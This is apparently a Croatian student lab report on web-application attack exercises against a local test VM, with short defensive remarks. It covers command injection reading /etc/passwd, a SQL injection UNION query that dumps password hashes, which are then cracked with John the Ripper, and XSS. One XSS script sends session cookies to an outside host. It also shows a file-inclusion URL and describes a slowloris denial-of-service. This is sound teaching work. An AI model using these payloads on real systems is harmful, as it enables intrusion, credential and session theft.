Zadatak 1: Command Injection

Korištenjem ranjivosti "Command Execution" u polje za unos IP adrese koju želimo pingati unosimo " 1 | cat /etc/passwd ". Unesena naredba osim što predaje nebitnu IP adresu, dodatno pokreće naredbu za ispis sadržaja datoteke passwd:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
```

Aplikacija ne provjerava unos napadača, nego izvršava sve primljene naredbe.

Zadatak 2: SQL injection

Kako bi dohvatili lozinku korisnika Pablo Picasso potrebno je u polje za unos ID-a napisati sljedeću SQL naredbu " ' OR 1 = 1 UNION SELECT user, password FROM users# ". Navedena naredba kada se umetne u php kôd zatvorit će " WHERE user_id = '$id' " dio pomoću početnog apostrofa i pomoću logičke istine (OR 1 = 1) dohvatiti cijelu tablicu koju ćemo pomoću union select-a prisiliti na ispis redaka koji nas zanimaju.

MD5 sažetak lozinke korisnika Pablo Picassoa je: 0d107d09f5bbe40cade3de5c71e9e9b7

Kako bi saznali lozinku potreban nam je tako zvani "Jumbo version of John the Ripper" alat kojega dohvaćamo prema uputama za laboratorijsku vježbu. Pokretanjem alata naredbom " john/run/john --format=raw-md5 lozinka_pablo.txt " saznajemo lozinku korisnika Pablo Picasso: **letmein**

Zadatak 3: XSS (Cross Site Scripting)

Pred nama je web stranica koja korisniku omogućava pisanje komentara na stranici pomoću unosa imena i željene poruke. Kako bi napravili XSS napad, unosimo u polje za poruku sljedeći javascript kôd:

```
<script> alert("Hello world!"); </script>
```

Pritiskom gumba za pohranu komentara stranica se osvježava i pokreće umetnuti javascript kôd nakon čega se pojavljuje pop-up prozor sa porukom "Hello world!"

Kako bi saznali možemo li dohvatiti vlastiti cookie (samim time i cookie žrtve), unosimo u polje za unos poruke sljedeći javascrip kôd:

```
<script> alert(document.cookie); </script>
```

Osvježavanjem stranice u pop-up prozoru dobivamo informaciju o našem cookieu:
PHPSESSID=ts6ot6gog6c430snigcco6n4g1

Kako bi automatizirali proces krađe cookiea i slali ih našem poslužitelju, potrebno je u polje za unos poruke napisati sljedeći javascrip kôd:

```
<script>
image = new Image();
image.src='http://public.tel.fer.hr/sui?cookie=security=low;%20'+document.cookie.match(/PHPSESSID=[^;]+/);
</script>
```

Prilikom unosa gore navedenog kôd prestaje mogućnost upisa nakon 50 unesenih znakova, kako je ta provjera implementirana na frontendu, potrebno je označiti prostor za unos i desnim pritiskom miša odabrati Inspect (Ctrl + Shift + I) te u zastavici maxlength="50" zamijeniti vrijednost na npr. 1000.

Kako bi se zaštitili od ovakvog napada potrebno je zabraniti unos specijalnih znakova <, >, {, }, ", ' ili napraviti whitelisting onoga što korisnik može unijeti. Također, unos HTML-a treba "dezinficirati" (sanitize).

Zadatak 4: Inkluzija datoteka (File inclusion)
Kako bi dohvatili i ispisali datoteku /etc/passwd možemo unijeti URL oblika:
http://192.168.56.101/vulnerabilities/fi/?page=/etc/passwd
Na taj način stranica će na svom početku ispisati sadržaj datoteke /etc/passwd. Napad je moguće izvesti zato što php nema implementiranu kontrolu pristupa ($file = $_GET['page'];).
Kako bi se zaštitili od ove vrste napada potrebno je dopustiti pristup samo autentificiranim korisnicima te zabraniti pristup svemu na što korisnik nema pravo, posebno konfiguracijama, logovima i izvornim kodovima. Također, potrebno je verificirati arhitekturu i implementaciju.

Zadata 5: Napad onemogućavanjem pristupa (Denial of Service)
Pokretanjem slowloris napada ne traje dulje od 10 sekundi. Vrijeme potrebno za potpuno uspješni napad ovisi o resursima servera koji se napada i početnim postavkama alata. Napadnuta stranica ostala je zamrznuta (u procesu učitavanja) od prilike 63 sekunde.

Slowloris koristi ranjivost web poslužitelja tako da otvara velik broj veza prema poslužitelju i drži ih otvorenim. Veze su otvorene tako da se šalju HTTP zahtjevi koji nisu potpuni i server za svaki novi zahtjev radi rezervaciju resursa dok ne postane onemogućen. Kako se veza ne bi zatvorila zbog time-outa, periodično se šalju zahtjevi s ciljem zadržavanja konekcije. Ovim napadom moguće je sa jednim računalom izvršiti vrlo efikasan DoS napad.